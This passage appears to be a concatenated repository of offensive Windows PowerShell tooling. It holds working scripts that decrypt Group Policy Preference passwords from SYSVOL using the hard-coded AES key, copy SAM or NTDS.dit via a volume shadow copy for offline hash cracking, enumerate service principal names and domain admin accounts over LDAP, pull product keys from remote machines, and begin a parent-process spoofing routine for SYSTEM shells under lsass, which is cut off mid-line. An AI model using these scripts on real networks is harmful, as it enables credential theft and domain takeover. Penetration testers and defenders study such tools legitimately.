\\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml 43 | 44 | NewName : [BLANK] 45 | Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} 46 | Passwords : {password, read123} 47 | UserNames : {DEMO\Administrator, admin} 48 | File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml 49 | 50 | .EXAMPLE 51 | PS C:\> Get-GPPPassword -Server EXAMPLE.COM 52 | 53 | NewName : [BLANK] 54 | Changed : {2014-02-21 05:28:53} 55 | Passwords : {password12} 56 | UserNames : {test1} 57 | File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml 58 | 59 | NewName : {mspresenters} 60 | Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} 61 | Passwords : {Recycling*3ftw!, password123, password1234} 62 | UserNames : {Administrator (built-in), DummyAccount, dummy2} 63 | File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml 64 | 65 | .EXAMPLE 66 | 67 | PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq 68 | 69 | password 70 | password12 71 | password123 72 | password1234 73 | password1234$ 74 | read123 75 | Recycling*3ftw! 76 | 77 | .LINK 78 | 79 | http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html 80 | https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 81 | http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences 82 | http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html 83 | #> 84 | 85 | [CmdletBinding()] 86 | Param ( 87 | [ValidateNotNullOrEmpty()] 88 | [String] 89 | $Server = $Env:USERDNSDOMAIN 90 | ) 91 | 92 | #Some XML issues between versions 93 | Set-StrictMode -Version 2 94 | 95 | #define helper function that decodes and decrypts password 96 | function Get-DecryptedCpassword { 97 | [CmdletBinding()] 98 | Param ( 99 | [string] $Cpassword 100 | ) 101 | 102 | try { 103 | #Append appropriate padding based on string length 104 | $Mod = ($Cpassword.length % 4) 105 | 106 | switch ($Mod) { 107 | '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} 108 | '2' {$Cpassword += ('=' * (4 - $Mod))} 109 | '3' {$Cpassword += ('=' * (4 - $Mod))} 110 | } 111 | 112 | $Base64Decoded = [Convert]::FromBase64String($Cpassword) 113 | 114 | #Create a new AES .NET Crypto Object 115 | $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider 116 | [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 117 | 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 118 | 119 | #Set IV to all nulls to prevent dynamic generation of IV value 120 | $AesIV = New-Object Byte[]($AesObject.IV.Length) 121 | $AesObject.IV = $AesIV 122 | $AesObject.Key = $AesKey 123 | $DecryptorObject = $AesObject.CreateDecryptor() 124 | [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) 125 | 126 | return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) 127 | } 128 | 129 | catch {Write-Error $Error[0]} 130 | } 131 | 132 | #define helper function to parse fields from xml files 133 | function Get-GPPInnerFields { 134 | [CmdletBinding()] 135 | Param ( 136 | $File 137 | ) 138 | 139 | try { 140 | 141 | $Filename = Split-Path $File -Leaf 142 | [xml] $Xml = Get-Content ($File) 143 | 144 | #declare empty arrays 145 | $Cpassword = @() 146 | $UserName = @() 147 | $NewName = @() 148 | $Changed = @() 149 | $Password = @() 150 | 151 | #check for password field 152 | if ($Xml.innerxml -like "*cpassword*"){ 153 | 154 | Write-Verbose "Potential password in $File" 155 | 156 | switch ($Filename) { 157 | 158 | 'Groups.xml' { 159 | $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 160 | $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} 161 | $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} 162 | $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 163 | } 164 | 165 | 'Services.xml' { 166 | $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 167 | $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} 168 | $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 169 | } 170 | 171 | 'Scheduledtasks.xml' { 172 | $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 173 | $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} 174 | $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 175 | } 176 | 177 | 'DataSources.xml' { 178 | $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 179 | $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} 180 | $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 181 | } 182 | 183 | 'Printers.xml' { 184 | $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 185 | $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} 186 | $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 187 | } 188 | 189 | 'Drives.xml' { 190 | $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} 191 | $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} 192 | $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} 193 | } 194 | } 195 | } 196 | 197 | foreach ($Pass in $Cpassword) { 198 | Write-Verbose "Decrypting $Pass" 199 | $DecryptedPassword = Get-DecryptedCpassword $Pass 200 | Write-Verbose "Decrypted a password of $DecryptedPassword" 201 | #append any new passwords to array 202 | $Password += , $DecryptedPassword 203 | } 204 | 205 | #put [BLANK] in variables 206 | if (!($Password)) {$Password = '[BLANK]'} 207 | if (!($UserName)) {$UserName = '[BLANK]'} 208 | if (!($Changed)) {$Changed = '[BLANK]'} 209 | if (!($NewName)) {$NewName = '[BLANK]'} 210 | 211 | #Create custom object to output results 212 | $ObjectProperties = @{'Passwords' = $Password; 213 | 'UserNames' = $UserName; 214 | 'Changed' = $Changed; 215 | 'NewName' = $NewName; 216 | 'File' = $File} 217 | 218 | $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties 219 | Write-Verbose "The password is between {} and may be more than one value." 220 | if ($ResultsObject) {Return $ResultsObject} 221 | } 222 | 223 | catch {Write-Error $Error[0]} 224 | } 225 | 226 | try { 227 | #ensure that machine is domain joined and script is running as a domain account 228 | if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { 229 | throw 'Machine is not a domain member or User is not a member of the domain.' 230 | } 231 | 232 | #discover potential files containing passwords ; not complaining in case of denied access to a directory 233 | Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." 234 | $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' 235 | 236 | if ( -not $XMlFiles ) {throw 'No preference files found.'} 237 | 238 | Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." 239 | 240 | foreach ($File in $XMLFiles) { 241 | $Result = (Get-GppInnerFields $File.Fullname) 242 | Write-Output $Result 243 | } 244 | } 245 | 246 | catch {Write-Error $Error[0]} 247 | } -------------------------------------------------------------------------------- /Get-PasswordFile.ps1: -------------------------------------------------------------------------------- 1 | function Get-PasswordFile { 2 | <# 3 | .SYNOPSIS 4 | 5 | Copies either the SAM or NTDS.dit and system files to a specified directory. 6 | 7 | .PARAMETER DestinationPath 8 | 9 | Specifies the directory to the location where the password files are to be copied. 10 | 11 | .OUTPUTS 12 | 13 | None or an object representing the copied items. 14 | 15 | .EXAMPLE 16 | 17 | Get-PasswordFile "c:\users\public" 18 | 19 | #> 20 | 21 | [CmdletBinding()] 22 | Param 23 | ( 24 | [Parameter(Mandatory = $true, Position = 0)] 25 | [ValidateScript({Test-Path $_ -PathType 'Container'})] 26 | [ValidateNotNullOrEmpty()] 27 | [String] 28 | $DestinationPath 29 | ) 30 | 31 | #Define Copy-RawItem helper function from http://gallery.technet.microsoft.com/scriptcenter/Copy-RawItem-Private-NET-78917643 32 | function Copy-RawItem 33 | { 34 | 35 | [CmdletBinding()] 36 | [OutputType([System.IO.FileSystemInfo])] 37 | Param ( 38 | [Parameter(Mandatory = $True, Position = 0)] 39 | [ValidateNotNullOrEmpty()] 40 | [String] 41 | $Path, 42 | 43 | [Parameter(Mandatory = $True, Position = 1)] 44 | [ValidateNotNullOrEmpty()] 45 | [String] 46 | $Destination, 47 | 48 | [Switch] 49 | $FailIfExists 50 | ) 51 | 52 | # Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile() 53 | $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} 54 | $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') 55 | $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static')) 56 | 57 | # Perform the copy 58 | $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) 59 | 60 | $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 61 | 62 | if ($CopyResult -eq $False -and $HResult -ne 0) 63 | { 64 | # An error occured. Display the Win32 error set by CopyFile 65 | throw ( New-Object ComponentModel.Win32Exception ) 66 | } 67 | else 68 | { 69 | Write-Output (Get-ChildItem $Destination) 70 | } 71 | } 72 | 73 | #Check for admin rights 74 | if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 75 | { 76 | Write-Error "Not running as admin. Run the script with elevated credentials" 77 | Return 78 | } 79 | 80 | #Get "vss" service startup type 81 | $VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode 82 | if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual} 83 | 84 | #Get "vss" Service status and start it if not running 85 | $VssStatus = (Get-Service vss).status 86 | if ($VssStatus -ne "Running") {Start-Service vss} 87 | 88 | #Check to see if we are on a DC 89 | $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole 90 | $IsDC = $False 91 | if ($DomainRole -gt 3) { 92 | $IsDC = $True 93 | $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File" 94 | $FileDrive = ($NTDSLocation).Substring(0,3) 95 | } else {$FileDrive = $Env:HOMEDRIVE + '\'} 96 | 97 | #Create a volume shadow filedrive 98 | $WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy" 99 | $ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible") 100 | $ReturnValue = $ShadowCopy.ReturnValue 101 | 102 | if ($ReturnValue -ne 0) { 103 | Write-Error "Shadow copy failed with a value of $ReturnValue" 104 | Return 105 | } 106 | 107 | #Get the DeviceObject Address 108 | $ShadowID = $ShadowCopy.ShadowID 109 | $ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject 110 | 111 | #If not a DC, copy System and SAM to specified directory 112 | if ($IsDC -ne $true) { 113 | 114 | $SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam" 115 | $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 116 | 117 | #Utilizes Copy-RawItem from Matt Graeber 118 | Copy-RawItem $SamPath "$DestinationPath\sam" 119 | Copy-RawItem $SystemPath "$DestinationPath\system" 120 | } else { 121 | 122 | #Else copy the NTDS.dit and system files to the specified directory 123 | $NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit" 124 | $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 125 | 126 | Copy-RawItem $NTDSPath "$DestinationPath\ntds" 127 | Copy-RawItem $SystemPath "$DestinationPath\system" 128 | } 129 | 130 | #Return "vss" service to previous state 131 | If ($VssStatus -eq "Stopped") {Stop-Service vss} 132 | If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled} 133 | } -------------------------------------------------------------------------------- /Get-SPN.ps1: -------------------------------------------------------------------------------- 1 | # Author: Scott Sutherland 2013, NetSPI 2 | # Version: Get-SPN version 1.1 3 | # Requirements: Powershell v.3 4 | # Comments: The technique used to query LDAP was based on the "Get-AuditDSDisabledUserAcount" 5 | # function found in Carols Perez's PoshSec-Mod project.# 6 | 7 | 8 | function Get-SPN 9 | { 10 | <# 11 | .SYNOPSIS 12 | Displays Service Principal Names (SPN) for domain accounts based on SPN service name, domain account, or domain group via LDAP queries. 13 | 14 | .DESCRIPTION 15 | Displays Service Principal Names (SPN) for domain accounts based on SPN service name, domain 16 | account, or domain group via LDAP queries. This information can be used to identify systems 17 | running specific service and the domain accounts running them. For example, this script 18 | could be used to locate domain systems where SQL Server has been installed. It can also be 19 | used to help find systems where members of the Domain Admins group might be logged in if the 20 | accounts where used to run services on the domain (which is very common). So this should be 21 | handy for both system administrators and penetration testers. The script currentls supports 22 | trusted connections and provided credentials. 23 | 24 | .EXAMPLE 25 | Return a list of SQL Servers that have registered SPNs in LDAP on the current user's domain. 26 | 27 | PS C:\Get-SPN -type service -search "MSSQLSvc*" 28 | 29 | Name : sql admin 30 | SAMAccount : sqladmin 31 | Description : This account is used to run SQL Server services on the domain. 32 | UserPrincipal : sqladmin@demo.com 33 | DN : CN=sql admin,CN=Users,DC=demo,DC=com 34 | Created : 9/3/2010 9:42:08 PM 35 | LastModified : 12/27/2013 6:40:35 PM 36 | PasswordLastSet : 12/27/2013 12:40:35 PM 37 | AccountExpires : 38 | LastLogon : 12/27/2013 8:46:10 PM 39 | GroupMembership : CN=Domain Admins,CN=Users,DC=demo,DC=com CN=Remote Desktop Users,CN=Builtin,DC=demo,DC=com 40 | SPN Count : 1 41 | 42 | ServicePrincipalNames (SPN): 43 | MSSQLSvc/DB1.demo.com:1433 44 | 45 | .EXAMPLE 46 | Return a list of SQL Servers that have registered SPNs in LDAP on the current user's domain in list view. This output can be piped. 47 | PS C:\Get-SPN -type service -search "MSSQLSvc*" -List yes | Format-Table -AutoSize 48 | 49 | Account Server Service 50 | ------- ------ ------- 51 | sqladmin DB1.demo.com MSSQLSvc 52 | 53 | .EXAMPLE 54 | Using supplied credentials return a list of SQL Servers that have registered SPNs in LDAP for the default domain of a remote domain controller. 55 | PS C:\Get-SPN -type service -search "MSSQLSvc*" -List yes -DomainController 192.168.1.100 -Credential domain\user | Format-Table -AutoSize 56 | 57 | Account Server Service 58 | ------- ------ ------- 59 | sqladmin DB1.demo.com MSSQLSvc 60 | 61 | .EXAMPLE 62 | Using supplied credentials return a list of SQL Servers that have registered SPNs in LDAP for the default domain of a remote domain controller, but select one column. 63 | PS C:\Get-SPN -type service -search "MSSQLSvc*" -List yes -DomainController 192.168.1.100 -Credential domain\user | Select Server | Format-Table -AutoSize 64 | 65 | Account 66 | ------- 67 | sqladmin 68 | 69 | .EXAMPLE 70 | Using supplied credentials to authenticate to a remote domain controller query LDAP to return a list of servers where the supplied user is registered to run services. 71 | PS C:\Get-SPN -type user -search "*sql*" -List yes -DomainController 192.168.1.100 -Credential domain\user -list yes | Format-Table -AutoSize 72 | 73 | Account Server Service 74 | ------- ------ ------- 75 | sqladmin DB1.demo.com MSSQLSvc 76 | 77 | .EXAMPLE 78 | Using supplied credentials to authenticate to a remote domain controller query LDAP to return a list of servers where the supplied group members are registered to run services. 79 | PS C:\ Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domain\user 80 | 81 | Account Server Service 82 | ------- ------ ------- 83 | Administrator DB1.demo.com MSSQLSvc 84 | sqladmin DB1.demo.com MSSQLSvc 85 | svc_PoolAdmin hav3.demo.com www 86 | 87 | .LINK 88 | http://www.netspi.com 89 | http://msdn.microsoft.com/en-us/library/windows/desktop/ms677949(v=vs.85).aspx 90 | http://technet.microsoft.com/en-us/library/cc731241.aspx 91 | http://technet.microsoft.com/en-us/library/cc978021.aspx 92 | #> 93 | [CmdletBinding()] 94 | Param( 95 | [Parameter(Mandatory=$false, 96 | HelpMessage="Credentials to use when connecting to a Domain Controller.")] 97 | [System.Management.Automation.PSCredential] 98 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 99 | 100 | [Parameter(Mandatory=$false, 101 | HelpMessage="Domain controller for Domain and Site that you want to query against.")] 102 | [string]$DomainController, 103 | 104 | [Parameter(Mandatory=$false, 105 | HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")] 106 | [int]$Limit = 1000, 107 | 108 | [Parameter(Mandatory=$false, 109 | HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] 110 | [ValidateSet("Subtree","OneLevel","Base")] 111 | [string]$SearchScope = "Subtree", 112 | 113 | [Parameter(Mandatory=$false, 114 | HelpMessage="Distinguished Name Path to limit search to.")] 115 | [string]$SearchDN, 116 | 117 | [Parameter(Mandatory=$True, 118 | HelpMessage="Search by domain user, domain group, or SPN service name to search for.")] 119 | [string]$Type, 120 | 121 | [Parameter(Mandatory=$True, 122 | HelpMessage="Define search for user, group, or SPN service name. Wildcards are accepted")] 123 | [string]$Search, 124 | 125 | [Parameter(Mandatory=$false, 126 | HelpMessage="View minimal information that includes the accounts,affected systems,and registered services. Nice for getting quick list of DAs.")] 127 | [string]$List 128 | ) 129 | 130 | Begin 131 | { 132 | # Setup domain user and domain controller (if provided) 133 | if ($DomainController -and $Credential.GetNetworkCredential().Password) 134 | { 135 | $ObjDomain = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$($DomainController)", $Credential.UserName,$Credential.GetNetworkCredential().Password 136 | $ObjSearcher = New-Object System.DirectoryServices.DirectorySearcher $ObjDomain 137 | } 138 | else 139 | { 140 | $ObjDomain = [ADSI]"" 141 | $ObjSearcher = New-Object System.DirectoryServices.DirectorySearcher $ObjDomain 142 | } 143 | } 144 | 145 | Process 146 | { 147 | # Setup LDAP queries 148 | $CurrentDomain = $ObjDomain.distinguishedName 149 | $QueryGroup = "(&(objectCategory=user)(memberOf=CN=$Search,CN=Users,$CurrentDomain))" 150 | $QueryUser = "(samaccountname=$Search)" 151 | $QueryService = "(ServicePrincipalName=$Search)" 152 | 153 | # Define the search type 154 | if(($Type -eq "group") -or ($Type -eq "user") -or ($Type -eq "service")){ 155 | 156 | # Define query based on type 157 | switch ($Type) 158 | { 159 | "group" {$MyFilter = $QueryGroup} 160 | "user" {$MyFilter = $QueryUser} 161 | "service" {$MyFilter = $QueryService} 162 | default {"Invalid query type."} 163 | } 164 | } 165 | 166 | # Define LDAP query options 167 | $ObjSearcher.PageSize = $Limit 168 | $ObjSearcher.Filter = $Myfilter 169 | $ObjSearcher.SearchScope = $SearchScope 170 | 171 | if ($SearchDN) 172 | { 173 | $ObjSearcher.SearchDN = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($SearchDN)") 174 | } 175 | 176 | # Get a count of the number of accounts that match the LDAP query 177 | $Records = $ObjSearcher.FindAll() 178 | $RecordCount = $Records.count 179 | 180 | # Display search results if results exist 181 | if ($RecordCount -gt 0){ 182 | 183 | # Create data table to house results 184 | $DataTable = New-Object System.Data.DataTable 185 | 186 | # Create and name columns in the data table 187 | $DataTable.Columns.Add("Account") | Out-Null 188 | $DataTable.Columns.Add("Server") | Out-Null 189 | $DataTable.Columns.Add("Service") | Out-Null 190 | 191 | # Display account records 192 | $ObjSearcher.FindAll() | ForEach-Object { 193 | 194 | # Fill hash array with results 195 | $UserProps = @{} 196 | $UserProps.Add('Name', "$($_.properties.name)") 197 | $UserProps.Add('SAMAccount', "$($_.properties.samaccountname)") 198 | $UserProps.Add('Description', "$($_.properties.description)") 199 | $UserProps.Add('UserPrincipal', "$($_.properties.userprincipalname)") 200 | $UserProps.Add('DN', "$($_.properties.distinguishedname)") 201 | $UserProps.Add('Created', [dateTime]"$($_.properties.whencreated)") 202 | $UserProps.Add('LastModified', [dateTime]"$($_.properties.whenchanged)") 203 | $UserProps.Add('PasswordLastSet', [dateTime]::FromFileTime("$($_.properties.pwdlastset)")) 204 | $UserProps.Add('AccountExpires',( &{$exval = "$($_.properties.accountexpires)" 205 | If (($exval -eq 0) -or ($exval -gt [DateTime]::MaxValue.Ticks)) 206 | { 207 | $AcctExpires = "" 208 | $AcctExpires 209 | }Else{ 210 | $Date = [DateTime]$exval 211 | $AcctExpires = $Date.AddYears(1600).ToLocalTime() 212 | $AcctExpires 213 | } 214 | })) 215 | $UserProps.Add('LastLogon', [dateTime]::FromFileTime("$($_.properties.lastlogon)")) 216 | $UserProps.Add('GroupMembership', "$($_.properties.memberof)") 217 | $UserProps.Add('SPN Count', "$($_.properties['ServicePrincipalName'].count)") 218 | 219 | # Only display line for detailed view 220 | If (!$list){ 221 | 222 | # Format array as object and display records 223 | Write-Verbose " " 224 | [pscustomobject]$UserProps 225 | } 226 | 227 | # Get number of SPNs for accounts, parse them, and add them to the data table 228 | $SPN_Count = $_.properties['ServicePrincipalName'].count 229 | if ($SPN_Count -gt 0) 230 | { 231 | 232 | # Only display line for detailed view 233 | If (!$list){ 234 | Write-Output "ServicePrincipalNames (SPN):" 235 | $_.properties['ServicePrincipalName'] 236 | } 237 | 238 | # Add records to data table 239 | foreach ($item in $_.properties['ServicePrincipalName']) 240 | { 241 | $SpnServer = $item.split("/")[1].split(":")[0] 242 | $SpnService = $item.split("/")[0] 243 | $DataTable.Rows.Add($($_.properties.samaccountname), $SpnServer, $SpnService) | Out-Null 244 | } 245 | } 246 | 247 | # Only display line for detailed view 248 | If (!$list){ 249 | Write-Verbose " " 250 | Write-Verbose "-------------------------------------------------------------" 251 | } 252 | } 253 | 254 | # Only display lines for detailed view 255 | If (!$list){ 256 | 257 | # Display number of accounts found 258 | Write-Verbose "Found $RecordCount accounts that matched your search." 259 | Write-Verbose "-------------------------------------------------------------" 260 | Write-Verbose " " 261 | }else{ 262 | 263 | # Display results in list view that can feed into the pipeline 264 | $DataTable | Sort-Object Account,Server,Service | select account,server,service -Unique 265 | } 266 | }else{ 267 | 268 | # Display fail 269 | Write-Verbose " " 270 | Write-Verbose "No records were found that match your search." 271 | Write-Verbose "" 272 | } 273 | } 274 | } -------------------------------------------------------------------------------- /Get-WindowsKey.ps1: -------------------------------------------------------------------------------- 1 | function Get-WindowsKey { 2 | ## function to retrieve the Windows Product Key from any PC 3 | ## by Nedim Mehic 4 | param ($targets = ".") 5 | $hklm = 2147483650 6 | $regPath = "Software\Microsoft\Windows NT\CurrentVersion" 7 | $regValue = "DigitalProductId" 8 | Foreach ($target in $targets) { 9 | $productKey = $null 10 | $win32os = $null 11 | $wmi = [WMIClass]"\\$target\root\default:stdRegProv" 12 | $data = $wmi.GetBinaryValue($hklm,$regPath,$regValue) 13 | $binArray = ($data.uValue)[52..66] 14 | $charsArray = "B","C","D","F","G","H","J","K","M","P","Q","R","T","V","W","X","Y","2","3","4","6","7","8","9" 15 | ## decrypt base24 encoded binary data 16 | For ($i = 24; $i -ge 0; $i--) { 17 | $k = 0 18 | For ($j = 14; $j -ge 0; $j--) { 19 | $k = $k * 256 -bxor $binArray[$j] 20 | $binArray[$j] = [math]::truncate($k / 24) 21 | $k = $k % 24 22 | } 23 | $productKey = $charsArray[$k] + $productKey 24 | If (($i % 5 -eq 0) -and ($i -ne 0)) { 25 | $productKey = "-" + $productKey 26 | } 27 | } 28 | $win32os = Get-WmiObject Win32_OperatingSystem -computer $target 29 | $obj = New-Object Object 30 | $obj | Add-Member Noteproperty Computer -value $target 31 | $obj | Add-Member Noteproperty Caption -value $win32os.Caption 32 | $obj | Add-Member Noteproperty CSDVersion -value $win32os.CSDVersion 33 | $obj | Add-Member Noteproperty OSArch -value $win32os.OSArchitecture 34 | $obj | Add-Member Noteproperty BuildNumber -value $win32os.BuildNumber 35 | $obj | Add-Member Noteproperty RegisteredTo -value $win32os.RegisteredUser 36 | $obj | Add-Member Noteproperty ProductID -value $win32os.SerialNumber 37 | $obj | Add-Member Noteproperty ProductKey -value $productkey 38 | $obj 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /GetSystem.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | $owners = @{} 4 | gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} 5 | get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}} 6 | 7 | #> 8 | 9 | #Simple powershell/C# to spawn a process under a different parent process 10 | #Launch PowerShell As Administrator 11 | #usage: . .\GetSystem.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") 12 | #Reference: https://github.com/decoder-it/psgetsystem 13 | 14 | 15 | 16 | $code = @" 17 | using System; 18 | using System.Diagnostics; 19 | using System.IO; 20 | using System.Runtime.InteropServices; 21 | 22 | public class MyProcess 23 | { 24 | [DllImport("kernel32.dll")] 25 | [return: MarshalAs(UnmanagedType.Bool)] 26 | static extern bool CreateProcess( 27 | string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, 28 | ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, 29 | IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, 30 | out PROCESS_INFORMATION lpProcessInformation); 31 | 32 | [DllImport("kernel32.dll", SetLastError = true)] 33 | [return: MarshalAs(UnmanagedType.Bool)] 34 | private static extern bool UpdateProcThreadAttribute( 35 | IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, 36 | IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); 37 | 38 | [DllImport("kernel32.dll", SetLastError = true)] 39 | [return: MarshalAs(UnmanagedType.Bool)] 40 | private static extern bool InitializeProcThreadAttributeList( 41 | IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); 42 | 43 | [DllImport("kernel32.dll", SetLastError = true)] 44 | [return: MarshalAs(UnmanagedType.Bool)] 45 | private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList); 46 | 47 | [DllImport("kernel32.dll", SetLastError = true)] 48 | static extern bool CloseHandle(IntPtr hObject); 49 | 50 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 51 | struct STARTUPINFOEX 52 | { 53 | public STARTUPINFO StartupInfo; 54 | public IntPtr lpAttributeList; 55 | } 56 | 57 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 58 | struct STARTUPINFO 59 | { 60 | public Int32 cb; 61 | public string lpReserved; 62 | public string lpDesktop; 63 | public string lpTitle; 64 | public Int32 dwX; 65 | public Int32 dwY; 66 | public Int32 dwXSize; 67 | public Int32 dwYSize; 68 | public Int32 dwXCountChars; 69 | public Int32 dwYCountChars; 70 | public Int32 dwFillAttribute; 71 | public Int32 dwFlags; 72 | public Int16 wShowWindow; 73 | public Int16 cbReserved2; 74 | public IntPtr lpReserved2; 75 | public IntPtr hStdInput; 76 | public IntPtr hStdOutput; 77 | public IntPtr hStdError; 78 | } 79 | 80 | [StructLayout(LayoutKind.Sequential)] 81 | internal struct PROCESS_INFORMATION 82 | { 83 | public IntPtr hProcess; 84 | public IntPtr hThread; 85 | public int dwProcessId; 86 | public int dwThreadId; 87 | } 88 | 89 | [StructLayout(LayoutKind.Sequential)] 90 | public struct SECURITY_ATTRIBUTES 91 | { 92 | public int nLength; 93 | public IntPtr lpSecurityDescriptor; 94 | public int bInheritHandle; 95 | } 96 | 97 | public static void CreateProcessFromParent(int ppid, string command) 98 | { 99 | const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; 100 | const uint CREATE_NEW_CONSOLE = 0x00000010; 101 | const int 